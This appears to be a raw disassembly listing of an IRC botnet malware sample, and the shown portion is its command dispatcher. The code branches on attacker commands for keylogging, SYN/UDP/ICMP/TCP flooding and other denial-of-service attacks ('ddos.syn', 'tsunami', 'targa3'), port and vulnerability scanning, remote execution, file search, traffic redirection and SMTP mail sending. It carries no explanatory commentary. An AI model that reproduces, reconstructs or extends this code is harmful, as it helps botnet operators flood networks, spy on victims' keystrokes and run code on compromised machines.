		mov	[ebp+var_EC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E40], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E3C], eax
		jnz	short loc_405D23
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405D23
		mov	esi, [ebp+var_88]


loc_405D23:				; CODE XREF: sub_401ACD+4238j
					; sub_401ACD+424Ej
		push	esi
		lea	eax, [ebp+var_EC4]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B564
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_E44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC8]
		push	ebx
		push	eax
		push	offset sub_4131EC
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_E44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_405DA6


loc_405D90:				; CODE XREF: sub_401ACD+42D7j
		cmp	[ebp+var_E38], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_405D90
; ---------------------------------------------------------------------------


loc_405DA6:				; CODE XREF: sub_401ACD+42C1j
		nop
		call	near ptr 26A096Ch
		push	eax
		push	offset unk_42B528
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405DB7:				; CODE XREF: sub_401ACD+41F8j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	21h
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DE5
		push	eax
		push	offset unk_42B4EC
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405DE5:				; CODE XREF: sub_401ACD+430Bj
		push	offset unk_42B4C0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405DEF:				; CODE XREF: sub_401ACD+41E3j
		push	[ebp+arg_8]
		push	offset aIdent	; "ident"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EC2
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E8A
		push	2
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405E2D
		push	offset dword_42B498
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405E2D:				; CODE XREF: sub_401ACD+4354j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B46C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_410BFD
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E924[esi], eax
		jnz	loc_4081AD
		nop
		call	near ptr 26A096Ch
		push	eax
		push	offset dword_42B438
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405E8A:				; CODE XREF: sub_401ACD+4348j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	2
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405EB8
		push	eax
		push	offset dword_42B400
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405EB8:				; CODE XREF: sub_401ACD+43DEj
		push	offset dword_42B3E0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405EC2:				; CODE XREF: sub_401ACD+4333j
		push	[ebp+arg_8]
		push	offset aKeyloger ; "keyloger"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D24
		push	[ebp+arg_8]
		push	offset aKeylog	; "keylog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D24
		push	[ebp+arg_8]
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CFB
		push	[ebp+arg_8]
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CFB
		push	[ebp+arg_8]
		push	offset aNet	; "net"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40616D
		cmp	dword_4CBAA4, ebx
		jz	short loc_405F4F
		cmp	dword_4CBACC, ebx
		jz	short loc_405F4F
		push	offset unk_42B388
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405F4F:				; CODE XREF: sub_401ACD+446Ej
					; sub_401ACD+4476j
		cmp	[ebp+var_C], ebx
		jz	loc_406BFE
		mov	eax, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_405F77
		push	eax
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_405F77:				; CODE XREF: sub_401ACD+449Aj
		push	edi
		push	offset aStart	; "start"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FC3
		cmp	[ebp+arg_18], ebx
		jz	short loc_405F97
		push	[ebp+arg_0]
		push	3
		jmp	loc_406021
; ---------------------------------------------------------------------------


loc_405F97:				; CODE XREF: sub_401ACD+44BEj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418EA8
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_405FB9
		push	offset unk_42B35C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405FB9:				; CODE XREF: sub_401ACD+44E0j
		push	offset unk_42B33C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405FC3:				; CODE XREF: sub_401ACD+44B9j
		push	edi
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FDB
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_405FDB:				; CODE XREF: sub_401ACD+4505j
		push	edi
		push	offset aPause	; "pause"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FF3
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_405FF3:				; CODE XREF: sub_401ACD+451Dj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40600B
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_40600B:				; CODE XREF: sub_401ACD+4535j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406033
		push	[ebp+arg_0]
		push	1


loc_406021:				; CODE XREF: sub_401ACD+44C5j
					; sub_401ACD+450Cj ...
		call	sub_418C0E
		pop	ecx
		pop	ecx


loc_406028:				; CODE XREF: sub_401ACD+459Fj
					; sub_401ACD+4628j ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_406033:				; CODE XREF: sub_401ACD+454Dj
		push	edi
		push	offset aShare	; "share"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40609B
		cmp	[ebp+arg_18], ebx
		jz	short loc_40606E
		cmp	[ebp+var_8FC], bl
		jz	short loc_406059
		push	ebx
		push	[ebp+arg_18]
		push	1
		jmp	short loc_406064
; ---------------------------------------------------------------------------


loc_406059:				; CODE XREF: sub_401ACD+4582j
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	ebx


loc_406064:				; CODE XREF: sub_401ACD+458Aj
		call	sub_418FE5
		add	esp, 0Ch
		jmp	short loc_406028
; ---------------------------------------------------------------------------


loc_40606E:				; CODE XREF: sub_401ACD+457Aj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4191DB
		add	esp, 10h
		test	eax, eax
		jz	short loc_406091
		push	offset unk_42B2FC
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406091:				; CODE XREF: sub_401ACD+45B8j
		push	offset unk_42B2DC
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40609B:				; CODE XREF: sub_401ACD+4575j
		push	edi
		push	offset aUser	; "user"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406127
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_4060FA
		cmp	[ebp+var_8FC], bl
		jz	short loc_4060CD
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_4060ED
; ---------------------------------------------------------------------------


loc_4060CD:				; CODE XREF: sub_401ACD+45ECj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4060E9
		push	esi
		push	eax
		push	ebx
		jmp	short loc_4060ED
; ---------------------------------------------------------------------------


loc_4060E9:				; CODE XREF: sub_401ACD+4615j
		push	ebx
		push	eax
		push	2


loc_4060ED:				; CODE XREF: sub_401ACD+45FEj
					; sub_401ACD+461Aj
		call	sub_4192FC
		add	esp, 18h
		jmp	loc_406028
; ---------------------------------------------------------------------------


loc_4060FA:				; CODE XREF: sub_401ACD+45E4j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41982C
		add	esp, 10h
		test	eax, eax
		jz	short loc_40611D
		push	offset unk_42B2BC
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40611D:				; CODE XREF: sub_401ACD+4644j
		push	offset unk_42B29C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406127:				; CODE XREF: sub_401ACD+45DDj
		push	edi
		push	offset aSend	; "send"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406163
		cmp	[ebp+arg_18], ebx
		jz	short loc_406159
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419AE0
		add	esp, 10h
		jmp	loc_406028
; ---------------------------------------------------------------------------


loc_406159:				; CODE XREF: sub_401ACD+466Ej
		push	offset unk_42B270
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406163:				; CODE XREF: sub_401ACD+4669j
		push	offset unk_42B254
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40616D:				; CODE XREF: sub_401ACD+4462j
		push	[ebp+arg_8]
		push	offset aGethost	; "gethost"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C0D
		push	[ebp+arg_8]
		push	offset aGh	; "gh"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C0D


loc_40619B:				; CODE XREF: sub_401ACD+3C8Fj
					; sub_401ACD+3CC5j ...
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF0
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF0
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BBE
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BBE
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B6D
		push	[ebp+arg_8]
		push	offset dword_42B938
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B6D
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B04
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B04
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A9E
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A9E
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A64
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A64
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089F6
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089F6
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408971
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408971
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408900
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408900
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DA
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DA
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40887A
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40887A
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40877F
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40877F
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086AA
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086AA
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085A5
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085A5
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408508
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408508
		push	[ebp+arg_8]
		push	offset aHadeth3	; "HADETH3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408379
		push	[ebp+arg_8]
		push	offset aHadeth3	; "HADETH3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408379
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082E6
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082E6
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081D7
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081D7
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408160
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408160
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408063
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408063
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F7B
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F7B
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4066AE
		push	7Fh
		lea	eax, [ebp+var_3280]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3200]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3180]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3100]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3078],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_307C],	edi
		mov	[ebp+var_3284],	esi
		call	sub_40B3BA
		add	esp, 3Ch
		mov	[ebp+var_3080],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3284]
		push	ebx
		push	eax
		push	offset word_41525A
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_3080]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40669D


loc_406687:				; CODE XREF: sub_401ACD+4BCEj
		cmp	[ebp+var_3074],	ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_406687
; ---------------------------------------------------------------------------


loc_40669D:				; CODE XREF: sub_401ACD+4BB8j
		call	near ptr 26A096Ch
		nop
		push	eax
		push	offset unk_42B0E0
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_4066AE:				; CODE XREF: sub_401ACD+4B0Ej
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D9A
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D9A
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067DB
		push	7Fh
		lea	eax, [ebp+var_36A8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3628]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_35A8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3528]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A4],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_34A0],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_36AC],	esi
		push	edi
		push	offset dword_42B098
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_34A8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36AC]
		push	ebx
		push	eax
		push	offset word_4141B2
		push	ebx
		push	ebx
		call	near ptr 26A0060h
		nop
		mov	ecx, [ebp+var_34A8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4067CA


loc_4067B4:				; CODE XREF: sub_401ACD+4CFBj
		cmp	[ebp+var_349C],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_4067B4
; ---------------------------------------------------------------------------


loc_4067CA:				; CODE XREF: sub_401ACD+4CE5j
		nop
		call	near ptr 26A096Ch
		push	eax
		push	offset dword_42B05C
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_4067DB:				; CODE XREF: sub_401ACD+4C20j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CB2
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CB2
		push	[ebp+arg_8]
		push	offset aNazel3	; "NAZEL3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B74
		push	[ebp+arg_8]
		push	offset aNazel3	; "NAZEL3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B74
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A77
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A77
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407984
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407984
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407887
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407887
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407797
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407797
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407691
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407691
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071B6
		push	[ebp+arg_8]
		push	offset aAd	; "ad"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071B6
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F5F
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F5F
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aVnchost	; "vnchost"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406A5A
		push	edi
		call	sub_41B52C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_401F75
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		jmp	loc_4040AB
; ---------------------------------------------------------------------------


loc_406A5A:				; CODE XREF: sub_401ACD+4F56j
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C8E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C8E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406C36
		lea	eax, [ebp+var_46F0]
		push	edi
		push	eax
		call	sub_41C890
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_438C]
		push	eax
		call	sub_41C890
		push	[ebp+arg_10]
		lea	eax, [ebp+var_458C]
		push	eax
		call	sub_41C890
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	[ebp+esi+var_7C]
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_408C]
		push	eax
		call	sub_41C890
		add	esp, 30h
		lea	eax, [ebp+var_528C]
		push	eax
		push	101h
		call	dword_4CB944
		lea	eax, [ebp+var_46F0]
		push	eax
		call	dword_4CBA58
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CBA54
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CB9D4
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_458C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_568C]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_448C]
		push	edi
		push	eax
		push	esi
		call	dword_4CB9EC
		lea	eax, [ebp+var_448C]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
